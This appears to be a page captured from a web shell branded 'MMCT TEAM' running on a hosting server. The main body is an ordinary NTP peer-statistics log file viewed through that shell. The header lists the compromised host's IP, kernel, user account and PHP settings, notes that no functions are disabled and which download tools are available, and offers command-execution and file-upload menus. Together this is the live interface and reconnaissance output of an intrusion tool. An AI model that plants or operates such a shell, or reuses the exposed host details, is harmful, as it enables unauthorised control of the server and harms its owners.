MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.144.90.236
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/log/ntpstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //var/log/ntpstats/peerstats.20230308
60011 546.262 69.195.126.140 941a 0.003620914 0.268122932 0.015481371 0.000556200
60011 1125.223 69.195.126.139 961a -0.003712365 0.250475021 0.015129193 0.000934073
60011 2205.223 69.195.126.139 941a -0.003821983 0.250453627 0.015386771 0.000897458
60011 2668.224 69.195.126.140 941a 0.003405821 0.268008967 0.015361898 0.000539357
60011 4334.251 69.195.126.139 961a -0.003971727 0.250398492 0.015477064 0.000573683
60011 4795.250 69.195.126.140 941a 0.003224133 0.268579739 0.015388857 0.000444828
60011 6494.251 69.195.126.139 961a -0.003439505 0.250537115 0.015620268 0.000349925
60011 6913.268 69.195.126.140 941a 0.003928847 0.268070249 0.015242604 0.000543098
60011 7555.222 69.195.126.139 961a -0.003157280 0.250479156 0.015488783 0.000603728
60011 9014.269 69.195.126.140 941a 0.004186218 0.268178460 0.015308814 0.000745838
60011 9632.207 69.195.126.139 961a -0.003025314 0.250502669 0.015106811 0.000660376
60011 10077.252 69.195.126.140 941a 0.004075692 0.267981078 0.015349886 0.000612001
60011 10681.215 69.195.126.139 961a -0.003056075 0.250463976 0.015143783 0.000564721
60011 11136.225 69.195.126.140 941a 0.002694634 0.265427669 0.015340374 0.001105443
60011 12795.212 69.195.126.139 961a -0.003340850 0.250418724 0.015313939 0.000260593
60011 13213.269 69.195.126.140 941a 0.003873529 0.268068804 0.015140994 0.000499797
60011 13835.209 69.195.126.139 961a -0.003134250 0.250418043 0.015181576 0.000152976
60011 14867.224 69.195.126.139 961a -0.003236215 0.250356061 0.015057180 0.000144309
60011 15307.252 69.195.126.140 941a -0.001671658 0.258265740 0.015069850 0.005522630
60011 15913.250 69.195.126.139 941a -0.004957297 0.248872428 0.015100001 0.001816571
60011 16389.210 69.195.126.140 941a -0.004858135 0.250658009 0.015372570 0.008109779
60011 16956.213 69.195.126.139 961a -0.003397368 0.247523797 0.015099106 0.000636758
60011 17427.195 69.195.126.140 961a -0.003868452 0.250218752 0.015196328 0.006484331
60011 19045.200 69.195.126.139 941a -0.002601929 0.247571462 0.018990370 0.001261252
60011 19568.241 69.195.126.140 941a -0.001751022 0.249679232 0.015444549 0.003998665
60011 20119.193 69.195.126.139 961a -0.000758010 0.248947852 0.019354074 0.002631691
60011 20655.259 69.195.126.140 941a -0.001247451 0.249652666 0.015596122 0.003304773
60011 21186.242 69.195.126.139 961a 0.000473090 0.249015897 0.015390619 0.003427808
60011 22774.197 69.195.126.140 961a -0.000942827 0.249722441 0.019475784 0.002018518
60011 23325.221 69.195.126.139 941a 0.000866947 0.248958242 0.015473646 0.003093304
60011 23835.251 69.195.126.140 961a -0.000609217 0.249665962 0.015404514 0.002242619
60011 25397.198 69.195.126.139 941a 0.000914111 0.249086885 0.019002224 0.001509597
60011 25973.234 69.195.126.140 961a -0.000244846 0.250391370 0.019399458 0.001360920
60011 26450.222 69.195.126.139 941a 0.001222039 0.248965823 0.015177926 0.000874898
60011 27035.208 69.195.126.140 941a -0.000536268 0.249752207 0.015397794 0.000744102
60011 28584.203 69.195.126.139 961a 0.002635452 0.251901643 0.019428406 0.001567415
60011 29131.199 69.195.126.140 961a 0.000285350 0.251444327 0.015219506 0.001177929
60011 29627.201 69.195.126.139 961a 0.002489261 0.251950791 0.015248919 0.001224892
60011 30658.232 69.195.126.139 961a 0.000266368 0.249021311 0.015082434 0.001744838
60011 31267.240 69.195.126.140 941a -0.001193852 0.249731792 0.015353786 0.001282696
60011 31708.204 69.195.126.139 961a 0.000703863 0.249020664 0.015141779 0.001379679
60011 32768.241 69.195.126.139 941a 0.000641179 0.248926189 0.015245426 0.001423386
60011 33356.230 69.195.126.140 941a -0.001134997 0.249734787 0.019237664 0.001183201
60011 34406.200 69.195.126.140 941a -0.002504181 0.247037260 0.015222915 0.002282070
60011 34886.209 69.195.126.139 941a 0.000817253 0.249186168 0.019162087 0.001722160
60011 35953.212 69.195.126.139 941a 0.000875926 0.249547776 0.015351269 0.001547565
60011 36521.219 69.195.126.140 941a -0.000773038 0.249923720 0.019137755 0.000879043
60011 37553.206 69.195.126.140 941a -0.000523770 0.249801567 0.015080081 0.000927342
60011 38015.223 69.195.126.139 941a 0.004270855 0.255048885 0.018936686 0.003082173
60011 38625.222 69.195.126.140 961a -0.000739215 0.249799897 0.015304085 0.000762342
60011 39054.201 69.195.126.139 941a 0.003718791 0.255079858 0.015042027 0.002324848
60011 39697.214 69.195.126.140 961a -0.001292434 0.249726506 0.015415589 0.000639644
60011 41168.240 69.195.126.139 941a -0.001543648 0.248376674 0.015246528 0.005101792
60011 41756.230 69.195.126.140 961a -0.002010935 0.249719013 0.015025647 0.001035579
60011 43331.256 69.195.126.139 941a 0.001048013 0.255381217 0.019615260 0.002934089
60011 43840.199 69.195.126.140 941a -0.001268237 0.249640885 0.015034377 0.000512088
60011 44361.195 69.195.126.139 961a -0.000636217 0.247549013 0.015231164 0.004237926
60011 45943.215 69.195.126.140 941a -0.001693679 0.247107907 0.015144339 0.000574285
60011 46470.211 69.195.126.139 961a 0.002802042 0.253523298 0.019334330 0.002329117
60011 47529.240 69.195.126.139 961a -0.001552165 0.244021711 0.015324106 0.004004375
60011 48077.204 69.195.126.140 941a -0.000044628 0.250403902 0.019288794 0.002587285
60011 49121.216 69.195.126.140 941a -0.000233911 0.248178153 0.015221672 0.002503108
60011 49621.232 69.195.126.139 961a -0.001158330 0.244064373 0.019053723 0.003076469
60011 50682.221 69.195.126.139 961a -0.000788011 0.244069978 0.019238787 0.003252725
60011 51231.228 69.195.126.140 941a 0.001419672 0.250402869 0.015301816 0.002530862
60011 51711.222 69.195.126.139 941a -0.000037539 0.244057174 0.015073763 0.002350146
60011 52308.225 69.195.126.140 941a 0.001629339 0.250092824 0.015450697 0.002378638
60011 52774.205 69.195.126.139 961a -0.000150724 0.243935005 0.015233646 0.002387431
60011 53342.238 69.195.126.140 941a 0.002113746 0.249000623 0.015204651 0.002353022
60011 53854.193 69.195.126.139 961a 0.000259180 0.243016172 0.015439352 0.002024005
60011 54418.207 69.195.126.140 941a 0.001788290 0.248590505 0.015394428 0.001821761
60011 55939.193 69.195.126.139 961a 0.001571522 0.247496126 0.019133316 0.001919909
60011 56499.215 69.195.126.140 941a 0.001922636 0.248755155 0.019099189 0.000865411
60011 57022.192 69.195.126.139 961a 0.001946255 0.246555971 0.015445190 0.001799079
60011 57535.203 69.195.126.140 941a 0.001405798 0.248663517 0.015079656 0.000421220
60011 59130.202 69.195.126.139 961a 0.002097264 0.248023090 0.019196495 0.001395169
60011 59635.232 69.195.126.140 941a 0.000895583 0.248706096 0.019129601 0.000947143
60011 60174.231 69.195.126.139 961a 0.001595536 0.248103980 0.019105389 0.000977906
60011 60677.196 69.195.126.140 941a -0.000143874 0.249873525 0.019039149 0.001828709
60011 61200.237 69.195.126.139 961a -0.000266841 0.249059368 0.015015203 0.001786655
60011 61742.239 69.195.126.140 941a -0.001152343 0.249831561 0.015277959 0.002380999
60011 62782.198 69.195.126.140 941a -0.001305962 0.249787200 0.015165397 0.002224489
60011 63363.199 69.195.126.139 941a -0.000818423 0.249051381 0.015521222 0.002093918
60011 64891.208 69.195.126.140 961a -0.001654269 0.249898435 0.015300466 0.001698838
60011 65452.226 69.195.126.139 961a -0.001109333 0.249126271 0.019085019 0.001743138
60011 65929.200 69.195.126.140 941a -0.001716548 0.249729051 0.015160830 0.001270864
60011 66484.239 69.195.126.139 961a -0.000919692 0.248095792 0.015061847 0.001120812
60011 67008.223 69.195.126.140 941a -0.001125197 0.248703948 0.015396366 0.000872147
60011 67566.237 69.195.126.139 961a -0.000975545 0.247958598 0.015368988 0.000630197
60011 68069.205 69.195.126.140 941a -0.001133440 0.248695473 0.015379426 0.000783758
60011 69659.224 69.195.126.139 961a -0.001260910 0.247964345 0.015236443 0.000449890
60011 70219.191 69.195.126.140 941a -0.001347843 0.249190879 0.015529369 0.000643102
60011 70742.239 69.195.126.139 961a -0.001192366 0.247918033 0.015462907 0.000318052
60011 72305.242 69.195.126.140 941a -0.001744028 0.250242240 0.019156627 0.000384769
60011 72838.233 69.195.126.139 961a -0.001051754 0.247921002 0.015246050 0.000230433
60011 73334.192 69.195.126.140 941a -0.000596378 0.248886346 0.015053357 0.000884145
60011 74416.191 69.195.126.140 941a -0.000096324 0.248731910 0.015363254 0.001242159
60011 74954.241 69.195.126.139 961a 0.000144591 0.247983150 0.015336051 0.001204868
60011 76528.207 69.195.126.140 941a 0.000333245 0.248800033 0.019108004 0.001912280
60011 77101.235 69.195.126.139 961a 0.001178677 0.247854431 0.015503042 0.001927152
60011 77571.233 69.195.126.140 941a -0.002641732 0.255837654 0.015160361 0.001815243
60011 78145.200 69.195.126.139 961a 0.001387079 0.247840594 0.015304233 0.001874215
60011 78627.199 69.195.126.140 941a 0.000485791 0.249831458 0.015224841 0.002146320
60011 79714.210 69.195.126.140 941a 0.000698064 0.249775264 0.015487207 0.002139008
60011 80286.232 69.195.126.139 961a 0.001295413 0.249037693 0.019402586 0.001239614
60011 80773.245 69.195.126.140 941a 0.001186344 0.248866274 0.015408911 0.002318092
60011 81324.196 69.195.126.139 961a 0.001944376 0.247933931 0.015217931 0.001339413
60011 81832.211 69.195.126.140 941a 0.000922048 0.248670181 0.015368882 0.002034911
60011 82402.196 69.195.126.139 961a 0.001685581 0.247910406 0.015414803 0.000762734
60011 83439.207 69.195.126.139 961a -0.000498003 0.244552683 0.015207823 0.001928134
60011 83946.242 69.195.126.140 941a 0.000722732 0.248734966 0.019484384 0.001881212
60011 84510.189 69.195.126.139 961a -0.000529295 0.244468554 0.015358336 0.001909697
60011 85015.200 69.195.126.140 941a 0.000540338 0.248826433 0.019457900 0.001239249
60011 86043.239 69.195.126.140 941a 0.000270312 0.248831633 0.015158173 0.000511689

MMCT - 2023